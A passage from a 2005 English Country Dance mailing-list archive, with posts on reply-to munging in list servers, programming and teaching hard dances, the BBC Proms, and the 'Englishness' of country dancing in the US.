'Reply' or 'Reply All'. > > Unless you've got some unique e-mail software that can do a 'Reply > All' to the bcc list. ------------------------------ Date: Fri, 9 Sep 2005 18:06:02 -0400 From: ""Marge Cramton"" Subject: Re: personal notes, ECD list, Reply-to Munging, and List Behaviors. Message-ID: Thank you for the clarification and the word ""munging""! Guessing that your bias is for consistent usability factors and type B list behavior? ----- Original Message ----- From: ""JB Green"" To: Sent: Friday, September 09, 2005 5:31 PM Subject: Re: personal notes, ECD list, Reply-to Munging, and List Behaviors. > Tom (and EC Dancers worldwide on this list): > > I think that the discussion has been about whether or not to change > the behavior of the list -- and the changes that would have to be made > to how each of us deals with email from the list -- IF such changes > were made. > > There are essentially two kinds of lists (and I'm assigning them > letters A and B): > > A) Those that change the headers of messages so that replies go back > to the list > B) Those that do not change the headers of the list. > > This ECD list is currently of type: A. > > The action being done to change the headers of messages is called > ""reply-to munging"" and there are articles online with titles like > ""reply-to munging considered harmful"" and ""reply-to munging considered > helpful"" which are the > essential arguments in a very heated controversy that has appeared over > and > over on the Internet over the years. > > Without ""reply-to"" munging, (such as in a Type B list) if I hit reply > on my email client (and by the way, I use Microsoft Outlook 2003 about > 99% of the > time), my reply -- this reply -- would be sent to you alone... As I am > replying to your message in the ECD list. With the munging, it goes to > the > stanford address and is distributed to everyone on the list. > > In order to make my reply seen by you and the other members of the ECD > list (if the ECD list were changed to a type B list), I would have to > either hit > the reply-to-all button (the easy way) or hit the reply button and add the > address ECD-AT-ssrl04.slac.stanford.edu to the To: or CC: email address > fields. > I think we can agree that in comparison to hitting reply-to-all, that > adding > that address is the hard way. > > But when you look at the headers of the messages you are receiving > today, even if you are just looking at what comes up when you hit > reply or reply-to-all, you are looking at the programmed behavior > AFTER MUNGING! This is because the ECD list is a type A list, a list > that changes > (munges) > the ""reply-to"" message header. That's why the Reply and Reply-to-All seem > to be the same to you, because the normal behavior of the email system has > been changed by the munging of the ""reply-to"" header to make this > pre-programmed change of behavior happen in your email program. > > It's this munging of the ""reply-to"" header that makes my reply go to > ECD-AT-ssrl04.slac.stanford.edu (the ECD list) and not to you alone at > your personal email address (tomvincent-AT-yahoo.com). It's true that > you read it at your personal email address (tomvincent-AT-yahoo.com), but > that is because after I send it to ECD-AT-ssrl04.slac.stanford.edu, the > computer there that we know as the ""list server"" sends it out to you > at your email address (tomvincent-AT-yahoo.com). > > Example of the ""Reply-To"" Header content: > > With Munging: ECD-AT-ssrl04.slac.stanford.edu (type A list > like > this ECD list) > Without Munging: tomvincent-AT-yahoo.com (type B list > like > some have proposed this ECD list become) > > Munging actually removes the individual senders email address from the > headers, which detractors of munging say breaks the functionality of > their email programs. They have a valid point, as you have observed, > because after munging there is no visible difference between ""Reply"" > and ""Reply-to-all"" and without munging, those functions have different > results. > > Since we are on a Type A list, with ""reply-to"" munging: If I wanted > to make this a private reply, I would have to hit ""reply"" then change > the addressing > of the reply message to replace the ECD-AT-ssrl04.slac.stanford.edu address > with your tomrvincent-AT-yahoo.com email address and then you would be the > only > one to receive my reply. > > Sometimes, people forget that they have to do that when they are on a > type-A list, and get embarrased when a very personal note is sent to a > whole distribution list of people, and they meant for it to be a > private message. > > > Some messages in some lists exist where the participants are quite > passionate about their feelings and beliefs and their ideas > conflict.... When this happens between two ore more individuals > privately it's called an argument. When it happens between two or > more individuals and is disseminated to all the members of a list > serve, like everyone on the ECD list, then it's called a flame war. > > Some messages intended to be kept private that go public because of > ""reply-to"" munging that I have seen have been: invitations to > surprise parties where the person to be surprised was also on the > list, requests for very personal services ranging from housesitting to > sexual acts, love letters, dating requests, and business transactions > not related to the list > topic, etc. > > From what I've seen on this list, the concerns are that without > reply-to munging making all messages go to everyone, then people who > are interested in certain discussions may find that there were left > out of those discussions, and the list volume will drop because those > that are communicating are doing it privately and not with the rest of > the group. > > One question often posed is what is more harmful, letting private > messages go out publically, or having some messages that should have > been public go privately? > > I've tried to write this an neutrally as possible. I used to be a > strong supporter of one of the two ways to run a list server. Now, > because so many of the lists I am on are behaving the other way, I'm > not such a strong supporter, only because of my fear that I'll be > mishandling my messages. I > do still have an opinion, and my reasons for having that opinion are > solid, > but I no longer have the email reflexes I once had, so I'm not as strong > in > my support for my opinion of the ""right way to do it"" (tongue in cheek). > In > fact, I'm ending this missive without stating what side I'm on. Can you > tell which list behavior I support? > > JB Green, MCP, MCP+I, MCSE, CNE, CNA (all industry networking > certifications) > Former Corporate Email Administrator > Newbie ECD instructor, Las Vegas, Nevada. > >> -----Original Message----- >> From: owner-ecd-AT-ssrl04.slac.stanford.edu >> [mailto:owner-ecd-AT-ssrl04.slac.stanford.edu] On Behalf Of Tom Vincent >> Sent: Friday, September 09, 2005 11:46 AM >> To: ECD-AT-ssrl04.slac.stanford.edu >> Subject: Re: [ECD] those pesky personal notes >> >> Huh? 'Reply All' sends to all the recipients the e-mail >> *knows* of, and since the only recipient we all *see* is >> 'ecd-AT-ssrl04.slac.stanford.edu', that's where the reply goes >> -regardless- of whether it's 'Reply' or 'Reply All'. >> >> Unless you've got some unique e-mail software that can do a 'Reply >> All' to the bcc list. > > > ------------------------------ End of ECD Digest V1 #1822 ****************************** ================================================================================ Archive-Date: Sat, 10 Sep 2005 08:27:15 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Sat, 10 Sep 2005 11:26:14 -0400 Subject: [ECD] What We Learned from AA's summer vac theme dance Message-ID: <20050910.112617.-118534067.2.FFuerst-AT-juno.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=--__JNP_000_3e00.24d4.1b70 From: Fae Fuerst Reply-To: ECD-AT-playford.slac.stanford.edu This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ----__JNP_000_3e00.24d4.1b70 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit I'll put the details of how the program went in a separate post so this won't get humongous. In general, the dance went very well! We had about 33 dancers, which matches our peak in the brief time I've been keeping count -- a dozen more than last year's opener, so I'll stop thinking of September as a low-attendance month. A lot of your advice was right on. I now see why programmers don't walk up the primrose path of theme dances very often! A cute idea and a really well-balanced program are not too compatible, and partially ignoring the theme for the sake of variety seems like the way to go. That said, this program's sequences worked fine and people seemed to enjoy the evening a lot. (Only one dance had no excuse at all under the ever-expanding guidelines.) The lack of physical variety was not as noticeable as I feared, but was still a shortcoming. By the time we got to Mendocino Redwood (third from last) people were creating their own excuses to skip around. Worries that the program would be too hard or too stressful were unfounded, as it turned out. I'm assuming that seeding the directions among our keen regulars (many of them casual callers themselves) helped, though I don't really know. Putting the harder dances in the first half works well for our crowd -- protein first, then dessert. There were a lot of big smiles in the second half. We did have some not-advanced dancers who were not put off by (or not aware of) my subtle warnings -- they survived pretty well but went home early. I'll be continuing to ponder the dynamics of attracting dancers ready to do harder dances well, without being too negative. I think the sweet spot we find ourselves in now came about somewhat inadvertently, rather than by any direct social engineering that I could see. The huge variation in this series in the past, and occasional brain-straining programs, probably get a lot of the credit! I wonder if the ""potluck"" aspect of this dance might have actually contributed to people's enjoyment, though I didn't notice whether people paid much attention to the theme. Michigan dancers are used to having several callers in an evening, and it's nice to have a home-grown dance on occasion, though this whole idea was generated by the squeeze of not finding an appropriate caller for September. I'm glad it turned out well, and putting it together was fascinating and fun and educational, but I would have been happy to skip the work! Once a year is plenty for this kind of thing. I'm looking forward to the nice, normal months coming up, with great callers who do their own programs! Thanks again for all your help, Fae Fuerst ----__JNP_000_3e00.24d4.1b70 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: quoted-printable I'll put the details of how the program went in a separate post so = this=20 won't get humongous. In general, the dance went very = well!=20 We had about 33 dancers, which matches our peak in the brief time I've been= =20 keeping count -- a dozen more than last year's opener, so I'll stop=20 thinking of September as a low-attendance month.    A lot of your advice was right on. I now see why programmers don't = walk up=20 the primrose path of theme dances very often! A cute idea and a really=20 well-balanced program are not too compatible, and partially ignoring the = theme=20 for the sake of variety seems like the way to go. That said, this program's= =20 sequences worked fine and people seemed to enjoy the evening a lot. (Only = one=20 dance had no excuse at all under the ever-expanding guidelines.) The lack = of=20 physical variety was not as noticeable as I feared, but was still= a=20 shortcoming. By the time we got to Mendocino Redwood (third from last) = people=20 were creating their own excuses to skip around.   Worries that the program would be too hard or too stressful were = unfounded,=20 as it turned out. I'm assuming that seeding the directions among our = keen=20 regulars (many of them casual callers themselves) helped, though I don't = really=20 know. Putting the harder dances in the first half works well for our = crowd=20 -- protein first, then dessert. There were a lot of big smiles in the = second=20 half.   We did have some not-advanced dancers who were not put off by (or not = aware=20 of) my subtle warnings -- they survived pretty well but went home early. I'= ll be=20 continuing to ponder the dynamics of attracting dancers ready to do harder= =20 dances well, without being too negative. I think the sweet spot we find=20 ourselves in now came about somewhat inadvertently, rather than by any=20 direct social engineering that I could see. The huge = variation in=20 this series in the past, and occasional brain-straining programs, = probably=20 get a lot of the credit!   I wonder if the ""potluck"" aspect of this dance might have = actually=20 contributed to people's enjoyment, though I didn't notice=20 whether people paid much attention to the theme. Michigan dancers are = used=20 to having several callers in an evening, and it's nice to have a home-= grown=20 dance on occasion, though this whole idea was generated by the squeeze= of=20 not finding an appropriate caller for September. I'm glad it = turned=20 out well, and putting it together was fascinating and fun and = educational,=20 but I would have been happy to skip the work! Once a year is plenty for = this=20 kind of thing.   I'm looking forward to the nice, normal months coming up, with great=20 callers who do their own programs!   Thanks again for all your help,   Fae Fuerst ----__JNP_000_3e00.24d4.1b70-- ================================================================================ Archive-Date: Sat, 10 Sep 2005 09:32:39 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <43230A8E.4040206-AT-uiuc.edu> Date: Sat, 10 Sep 2005 11:32:14 -0500 From: Jonathan Sivier Reply-To: ECD-AT-playford.slac.stanford.edu MIME-Version: 1.0 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] English Dialect Website References: <20050910014524.31633.qmail-AT-web31505.mail.mud.yahoo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Mike White wrote: > Also, today I pulled out my copy of the Community > Dance Manuals and realized it's been years since I had > actually tried to use any of these dances with our > regular English Country Dance sessions. Among > American groups, how many of you use any of this > traditional material in your dance sessions. I know > there are a few English Ceilidh groups represented. > Do you use any of these dances regularly. Our group uses several of the dances in the CDM regularly. There are several that are quite useful when leading dances for new dancers. Also one of the leaders of our group, Jane Hobgood, got her start in ECD in the 40's and 50's and grew up doing many of those dances so she likes to lead them frequently at our dances. Jonathan Central Illinois English Country Dancers ----- Jonathan Sivier Beckman Institute Flight Simulation Lab jsivier AT uiuc DOT edu Home Page: https://netfiles.uiuc.edu/jsivier/www/ ----- Q: How many angels can dance on the head of a pin? A: It depends on what dance you call. ================================================================================ Archive-Date: Sat, 10 Sep 2005 11:26:32 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: From: ""Orly Krasner"" Reply-To: ECD-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Hard dances, was What We Learned Date: Sat, 10 Sep 2005 18:26:05 +0000 MIME-Version: 1.0 Content-Type: text/plain; format=flowed Hi All-- A few observations on the subject of hard dances. . . . I'm sensing a subliminal ""frisson"" attached to the subject. (Have we all become so timid as dancers/teachers that we're scared of them?) First of all, dances are difficult for a variety of reasons. They can be hard simply because they are unfamiliar. They can have fairly simple tracks but difficult timing and styling issues. Or they can have complex, ever-changing tracks (high piece-count dances like Spring Garden). Perhaps the challenges are orientational (St Margaret's Hill, Orliana). They can be physically difficult for certain people (slipping rings). I think if we are aware of what kind of challenge we are presenting our dancers, there's no reason to avoid any of them if we choose carefully. Virtually any difficulty can be mastered with time and patience. (I say this as a trained pianist. Practice, practice, practice!) I've successfully taught St Margaret's Hill to a room of beginners in a community that dances only once a month. But I certainly didn't teach it the same way I would in my regular dance community of know-it-alls. From this I learned that sometimes you just have to go slow enough for people to process the information. Even a seemingly simple direction (""circle left half way"") may take more or less time to anchor itself in a dancer's brain/body/memory depending on the context of the dance. (Punch bowl has this problem--every time you make that circle, you're in a different place. Easy enough in a walk through, disorienting after you've danced a couple of rounds and have gotten tipsy.) A dance like Severn Bore seemed very hard the first few times I learned it. Now it's a piece of cake--repetition helps. Which brings up another point. Why have we chosen to teach a difficult dance? Is it one we'd like to have become a part of our local repertoire? (Sure glad for all those repetitions of Severn Bore--I love the dance!) Is it something we want for a special occasion like a ball? Something special for an experienced-dancer workshop? You have to know your audience and what they can tolerate--but we can't become so timid about stretching our limits that we resign ourselves to the same 25 dances in rotation every event. That being said, I have nothing against evenings that focus on easy-to-dance repertoire (provided I don't have to stand around for extensive teaching of the basics in every dance all evening--unless the event is billed as ""for beginners""). Nor would I want an entire evening in which all the dances were hard because of a high piece count--even if it were billed as experienced only. There's nothing wrong with ""hard."" Hard is not a bad thing. When I first started dancing, EVERYTHING we did was hard. It was a leap of faith that my partner, my set, my caller would get me through. And now I've helped others through in each of those roles. Challenges make us grow and keep us fresh. Go for it! --Orly Krasner (who's counting the hours until Tuesday when the regular NYC season starts up. . . .) ================================================================================ Archive-Date: Sat, 10 Sep 2005 12:27:34 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sat, 10 Sep 2005 15:26:38 -0400 From: Cara Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] My MUNG-o error in hitting ""reply"" To: ECD-AT-ssrl04.slac.stanford.edu Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7BIT I want to profusely apologize to the list, as I forgot to change my settings in Outlook and now the whole digest will be included in my previous one-line reply. I have changed the settings, so no more exponentially-reproducing emails. . .at least not from me. -- Cara :-( ================================================================================ Archive-Date: Sat, 10 Sep 2005 15:14:40 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: Date: Sat, 10 Sep 2005 18:14:08 -0400 To: ECD-AT-ssrl04.slac.stanford.edu From: ""Emily L. Ferguson"" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] Proms online Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" Well, well, well. I've been listening to BBC 3 for about 4 months now. All summer long the Proms. Quite astounding. Some of it stunning, some of it innovative - stories and poetry between the conclusion of one piece and the commencment of the next - but this evening was the final ""Poppsie Poopsie"" type event. Imagine the BSO with it's cocktail tables set out in Phymphony hall, except this apparently is both inside and out, multichoral, instruments all over the place and quite an amazing collection of music including a medley that claims to have melodies from the different nationalities in the UK - Danny Boy (oh dear). Lots of audience hurrahs, orchestrated by the conductor or someone, lots of audience clapping along amazingly not that much off the poor band. You guys might want to check this out next year. It's laden with the Englishness that I grew up with and there's something about it that pertains to the heritage of the dancing we care about here in the US - a sense of nationality and sentiment and late 19th C Englishness that called so strongly to Sharp and Gay and Lily Roberts Conant, Vaughan Williams and Maud Karpeles. (Now I'm not English, for those who may not know me, but my father was a pianist who suffered carpal tunnel in the 1930s and wanted more than anything in the world to play without pain. And he discovered a piano pedagogue in London who had the key to his problem.and went there just before the war and learned how to not hurt any more. So I grew up with a bit of English reverence and a bunch of music.) -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ================================================================================ Archive-Date: Sat, 10 Sep 2005 15:41:43 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Sat, 10 Sep 2005 18:34:18 -0400 Subject: Re: [ECD] Proms online Message-ID: <20050910.183419.-587003.2.franch-AT-juno.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: franch-AT-juno.com Reply-To: ECD-AT-playford.slac.stanford.edu On Sat, 10 Sep 2005 18:14:08 -0400 ""Emily L. Ferguson"" writes: >It's laden with the Englishness that I grew up with and there's something about it that > pertains to the heritage of the dancing we care about here in the US- a sense of >nationality and sentiment and late 19th C Englishness that called so strongly to Sharp >and Gay and Lily Roberts Conant, Vaughan Williams and Maud Karpeles. Speaking of which (I've been waiting for a chance to mention this on the list), on the EFDSS web site there's an excellent, thoughtful essay by David Blunkett, MP, called ""A New England: An English Identity within Britain"" for those interested in issues of pluralism, whether in England or elsewhere. Mike Franch Baltimore, Md. ================================================================================ Archive-Date: Sat, 10 Sep 2005 16:40:47 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <200509102340.j8ANeLU1009306-AT-nospam4.slac.stanford.edu> Reply-To: ECD-AT-playford.slac.stanford.edu From: ""Paul Sartin"" To: Subject: RE: [ECD] Proms online Date: Sun, 11 Sep 2005 00:40:11 +0100 MIME-Version: 1.0 Content-Type: text/plain; charset=""us-ascii"" Content-Transfer-Encoding: 7bit That'll be the David Blunkett that's been trying to bring in compulsory standard(ising) identity cards against the will of the majority of the English people(s). BTW, having been to many of them, I agree that the Proms are great, apart from the last night which (like Sharp et al) has very little to do with most of England, past or present, and, also, like most English institutions, is viewed by us with a strange mixture of affection and loathing. Paul. England. -----Original Message----- From: owner-ecd-AT-ssrl04.slac.stanford.edu [mailto:owner-ecd-AT-ssrl04.slac.stanford.edu] On Behalf Of franch-AT-JUNO.COM Sent: 10 September 2005 23:34 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Proms online On Sat, 10 Sep 2005 18:14:08 -0400 ""Emily L. Ferguson"" writes: >It's laden with the Englishness that I grew up with and there's something about it that > pertains to the heritage of the dancing we care about here in the US- > a sense of >nationality and sentiment and late 19th C Englishness that called so strongly to Sharp >and Gay and Lily Roberts Conant, Vaughan Williams and Maud Karpeles. Speaking of which (I've been waiting for a chance to mention this on the list), on the EFDSS web site there's an excellent, thoughtful essay by David Blunkett, MP, called ""A New England: An English Identity within Britain"" for those interested in issues of pluralism, whether in England or elsewhere. Mike Franch Baltimore, Md. ================================================================================ Archive-Date: Sat, 10 Sep 2005 16:55:57 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 Message-ID: References: <200509102340.j8ANeLU1009306-AT-nospam4.slac.stanford.edu> Date: Sat, 10 Sep 2005 19:55:29 -0400 To: ECD-AT-ssrl04.slac.stanford.edu From: ""Emily L. Ferguson"" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: RE: [ECD] Proms online Content-Type: text/plain; charset=""us-ascii"" ; format=""flowed"" At 12:40 AM +0100 9/11/05, Paul Sartin wrote: >BTW, having been to many of them, I agree that the Proms are great, apart >from the last night which (like Sharp et al) has very little to do with most >of England, past or present, and, also, like most English institutions, is >viewed by us with a strange mixture of affection and loathing. >Paul. England. > Do the people who go to the last night fest come away with that same mixture? -- Emily L. Ferguson mailto:elf-AT-cape.com 508-563-6822 New England landscapes, wooden boats and races, press photography http://www.vsu.cape.com/~elf/ ================================================================================ Archive-Date: Sat, 10 Sep 2005 17:09:05 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sat, 10 Sep 2005 20:15:02 -0400 From: Stephanie Smith Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Proms online To: ECD-AT-ssrl04.slac.stanford.edu Message-ID: <43237706.9010101-AT-verizon.net> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=------------020600010103030803050504 References: <200509102340.j8ANeLU1009306-AT-nospam4.slac.stanford.edu> This is a multi-part message in MIME format. --------------020600010103030803050504 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit This is an interesting discussion. I'm doing research on the ""Englishness"" of ECD in the U.S., to see if it really is all that significant. Having discussed dance revivals with colleagues from Canada, France, Croatia, Norway, and Sweden at a recent conference in Sheffield, I 'm really not sure that the ethnicity of what we do or what we call it is that important at all, but rather that we think it's fun and it fulfills our recreational and social needs. There isn't really an English diaspora in the U.S., although there is more of one in Canada (see Pauline Greenhill's writing on Morris). I think we do like to relate what we do to Jane Austen for a certain historic and romantic frisson, but this doesn't mean a strong ethnic tie to the past but rather a way to relate to the past. Then there are the period costumes and historic re-enactors, which is a whole other topic. We know that Sharp had several agendas in his revival of English dance, and he had a direct connection with the revival of English dance in the U.S. However, I do think we've moved away from the Sharp tradition and vision which was certainly continued by May Gadd and Lily Roberts Conant. Pat Shaw really helped to ""break the barrier"" or ""push the envelope"" in 1974 when he came to the U.S. My Canadian colleague Andriy Nahachewsky researches Ukranian dance in Canada at the University of Alberta, and there is such a difference in the contexts for dance and the reasons people take part in it; it is all about ethnic identity in the diaspora. When I asked a French colleague why she did Polish dance (including performances) growing up, she said because it was fun, not because she is of Polish heritage. She is actually researching dances of Yemeni Jews in Israel, within the larger context of the ""creation"" of Israeli folk dance. Some very interesting stuff. If anyone is interested in discussing this further with me, I am more than happy to, and can do it onlist or offlist, whatever is best. I'd be very intrigued to know what ECD-Listers think of this. Stephanie Smith Bethesda, MD Paul Sartin wrote: >That'll be the David Blunkett that's been trying to bring in compulsory >standard(ising) identity cards against the will of the majority of the >English people(s). >BTW, having been to many of them, I agree that the Proms are great, apart >from the last night which (like Sharp et al) has very little to do with most >of England, past or present, and, also, like most English institutions, is >viewed by us with a strange mixture of affection and loathing. >Paul. England. > > >On Sat, 10 Sep 2005 18:14:08 -0400 ""Emily L. Ferguson"" >writes: > > >> <>It's laden with the Englishness that I grew up with and there's >> something about it that > >> <>pertains to the heritage of the dancing we care about here in the US- >> a sense of nationality and sentiment and late 19th C Englishness >> that called >> so strongly to Sharpand Gay and Lily Roberts Conant, Vaughan Williams and >> Maud Karpeles. >> >> Speaking of which (I've been waiting for a chance to mention this on the >> list), on the EFDSS web site there's an excellent, thoughtful essay >> by David >> Blunkett, MP, called ""A New England: An English Identity within >> Britain"" for >> those interested in issues of pluralism, whether in England or elsewhere. >> >> Mike Franch >> Baltimore, Md. > --------------020600010103030803050504 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit This is an interesting discussion.  I'm doing research on the ""Englishness"" of ECD in the U.S., to see if it really is all that significant.  Having discussed dance revivals with colleagues from Canada, France, Croatia, Norway, and Sweden at a recent conference in Sheffield, I 'm really not sure that the ethnicity of what we do or what we call it is that important at all, but rather that we think it's fun and it fulfills our recreational and social needs.  There isn't really an English diaspora in the U.S., although there is more of one in Canada (see Pauline Greenhill's writing on Morris).  I think we do like to relate what we do to Jane Austen for a certain historic and romantic frisson, but this doesn't mean a strong ethnic tie to the past but rather a way to relate to the past.  Then there are the period costumes and historic re-enactors, which is a whole other topic. We know that Sharp had several agendas in his revival of English dance, and he had a direct connection with the revival of English dance in the U.S.  However, I do think we've moved away from the Sharp tradition and vision which was certainly continued by May Gadd and Lily Roberts Conant.  Pat Shaw really helped to ""break the barrier"" or ""push the envelope"" in 1974 when he came to the U.S.  My Canadian colleague Andriy Nahachewsky researches Ukranian dance in Canada at the University of Alberta, and there is such a difference in the contexts for dance and the reasons people take part in it; it is all about ethnic identity in the diaspora.  When I asked a French colleague why she did Polish dance (including performances) growing up, she said because it was fun, not because she is of Polish heritage.  She is actually researching dances of Yemeni Jews in Israel, within the larger context of the ""creation"" of Israeli folk dance.  Some very interesting stuff. If anyone is interested in discussing this further with me, I am more than happy to, and can do it onlist or offlist, whatever is best.  I'd be very intrigued to know what ECD-Listers think of this. Stephanie Smith Bethesda, MD Paul Sartin wrote: That'll be the David Blunkett that's been trying to bring in compulsory standard(ising) identity cards against the will of the majority of the English people(s). BTW, having been to many of them, I agree that the Proms are great, apart from the last night which (like Sharp et al) has very little to do with most of England, past or present, and, also, like most English institutions, is viewed by us with a strange mixture of affection and loathing. Paul. England. On Sat, 10 Sep 2005 18:14:08 -0400 ""Emily L. Ferguson"" writes: <>It's laden with the Englishness that I grew up with and there's something about it that <>pertains to the heritage of the dancing we care about here in the US- a sense of  nationality and sentiment and late 19th C Englishness that called so strongly to Sharpand Gay and Lily Roberts Conant, Vaughan Williams and Maud Karpeles. Speaking of which (I've been waiting for a chance to mention this on the list), on the EFDSS web site there's an excellent, thoughtful essay by David Blunkett, MP, called ""A New England: An English Identity within Britain"" for those interested in issues of pluralism, whether in England or elsewhere. Mike Franch Baltimore, Md. --------------020600010103030803050504-- ================================================================================ Archive-Date: Sat, 10 Sep 2005 20:07:12 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: Sun, 11 Sep 2005 03:05:27 GMT To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Englishness of ECD Content-Type: multipart/alternative;boundary=""--__JWM__J41c6.167eS.2781M"" Message-ID: <20050910.200629.638.380199-AT-webmail06.nyc.untd.com> ----__JWM__J41c6.167eS.2781M Content-Disposition: inline Content-Type: text/plain Stephanie, here in Pittsburgh, where there are strong (though now weakening) ethnic heritages, especially of the Slavic and Balkan regions, many teens still are involved--however voluntarily or not--in the dance of their heritage through their church youth group: the Greek kids do Greek dances, the Indian, Indian, etc. Much of this work culminates in an annual, city-wide folk festival. The local popularity of the Duquesnue University Tamburitzans, a group of amazing college kids who play, sing & dance folk material from Central & Eastern Europe--and many of the participants come from around here, as well as from Europe--demonstrates that heritage is still an important driver in some people's participation in dance. I would suspect that the English were here so long ago--and were so much the dominant culture thereafter--that there is no particular cachet, so to speak, in dancing ECDs--it's not like your granny or your bishop or somebody is going to reward you for doing so. Bu! t then I come from a town where a ""mixed marriage"" is when a Croatian girl marries a Slovenian boy. Tsk! Having said that, the next issue or so of CDSS News will run an article of mine that examines the frequency of ECDs in a sample of international folk dance manuals published in the US in the twentieth century: the most frequently referenced ECD is--well, I won't spoil the surprise, but I'd be willing to bet Donald Trump's fortune--or, perhaps more reasonably, his cash balance--that you won't guess it. Allison Thompson Pittsburgh, Pennsylvania -- Stephanie Smith wrote: This is an interesting discussion. I'm doing research on the ""Englishness"" of ECD in the U.S., to see if it really is all that significant. Having discussed dance revivals with colleagues from Canada, France, Croatia, Norway, and Sweden at a recent conference in Sheffield, I 'm really not sure that the ethnicity of what we do or what we call it is that important at all, but rather that we think it's fun and it fulfills our recreational and social needs. There isn't really an English diaspora in the U.S., although there is more of one in Canada (see Pauline Greenhill's writing on Morris). I think we do like to relate what we do to Jane Austen for a certain historic and romantic frisson, but this doesn't mean a strong ethnic tie to the past but rather a way to relate to the past. Then there are the period costumes and historic re-enactors, which is a whole other topic. We know that Sharp had several agendas in his revival of English dance, and he had a direct connection with the revival of English dance in the U.S. However, I do think we've moved away from the Sharp tradition and vision which was certainly continued by May Gadd and Lily Roberts Conant. Pat Shaw really helped to ""break the barrier"" or ""push the envelope"" in 1974 when he came to the U.S. My Canadian colleague Andriy Nahachewsky researches Ukranian dance in Canada at the University of Alberta, and there is such a difference in the contexts for dance and the reasons people take part in it; it is all about ethnic identity in the diaspora. When I asked a French colleague why she did Polish dance (including performances) growing up, she said because it was fun, not because she is of Polish heritage. She is actually researching dances of Yemeni Jews in Israel, within the larger context of the ""creation"" of Israeli folk dance. Some very interesting stuff. If anyone is interested in discussing this further with me, I am more than happy to, and can do it onlist or offlist, whatever is best. I'd be very intrigued to know what ECD-Listers think of this. Stephanie Smith Bethesda, MD Paul Sartin wrote: That'll be the David Blunkett that's been trying to bring in compulsorystandard(ising) identity cards against the will of the majority of theEnglish people(s).BTW, having been to many of them, I agree that the Proms are great, apartfrom the last night which (like Sharp et al) has very little to do with mostof England, past or present, and, also, like most English institutions, isviewed by us with a strange mixture of affection and loathing.Paul. England.On Sat, 10 Sep 2005 18:14:08 -0400 ""Emily L. Ferguson"" writes: <>It's laden with the Englishness that I grew up with and there's something about it that <>pertains to the heritage of the dancing we care about here in the US- a sense of nationality and sentiment and late 19th C Englishness that called so strongly to Sharpand Gay and Lily Roberts Conant, Vaughan Williams and Maud Karpeles. Speaking of which (I've been waiting for a chance to mention this on the list), on the EFDSS web site there's an excellent, thoughtful essay by David Blunkett, MP, called ""A New England: An English Identity within Britain"" for those interested in issues of pluralism, whether in England or elsewhere. Mike Franch Baltimore, Md. ----__JWM__J41c6.167eS.2781M Content-Disposition: inline Content-Type: text/html Stephanie, here in Pittsburgh, where there are strong (though now weakening) ethnic heritages, especially of the Slavic and Balkan regions, many teens still are involved--however voluntarily or not--in the dance of their heritage through their church youth group: the Greek kids do Greek dances, the Indian, Indian, etc. Much of this work culminates in an annual, city-wide folk festival. The local popularity of the Duquesnue University Tamburitzans, a group of amazing college kids who play, sing & dance folk material from Central & Eastern Europe--and many of the participants come from around here, as well as from Europe--demonstrates that heritage is still an important driver in some people's participation in dance. I would suspect that the English were here so long ago--and were so much the dominant culture thereafter--that there is no particular cachet, so to speak, in dancing ECDs--it's not like your granny or your bishop or somebody is going to ! reward you for doing so. But then I come from a town where a ""mixed marriage"" is when a Croatian girl marries a Slovenian boy. Tsk! Having said that, the next issue or so of CDSS News will run an article of mine that examines the frequency of ECDs in a sample of international folk dance manuals published in the US in the twentieth century: the most frequently referenced ECD is--well, I won't spoil the surprise, but I'd be willing to bet Donald Trump's fortune--or, perhaps more reasonably, his cash balance--that you won't guess it. Allison Thompson Pittsburgh, Pennsylvania-- Stephanie Smith  wrote:This is an interesting discussion.  I'm doing research on the ""Englishness"" of ECD in the U.S., to see if it really is all that significant.  Having discussed dance revivals with colleagues from Canada, France, Croatia, Norway, and Sweden at a recent conference in Sheffield, I 'm really not sure that the ethnicity of what we do or what we call it is that important at all, but rather that we think it's fun and it fulfills our recreational and social needs.  There isn't really an English diaspora in the U.S., although there is more of one in Canada (see Pauline Greenhill's writing on Morris).  I think we do like to relate what we do to Jane Austen for a certain historic and romantic frisson, but this doesn't mean a strong ethnic tie to the past but rather a way to relate to the past.  Then there are the period costumes and historic re-enac! tors, which is a whole other topic.We know that Sharp had several agendas in his revival of English dance, and he had a direct 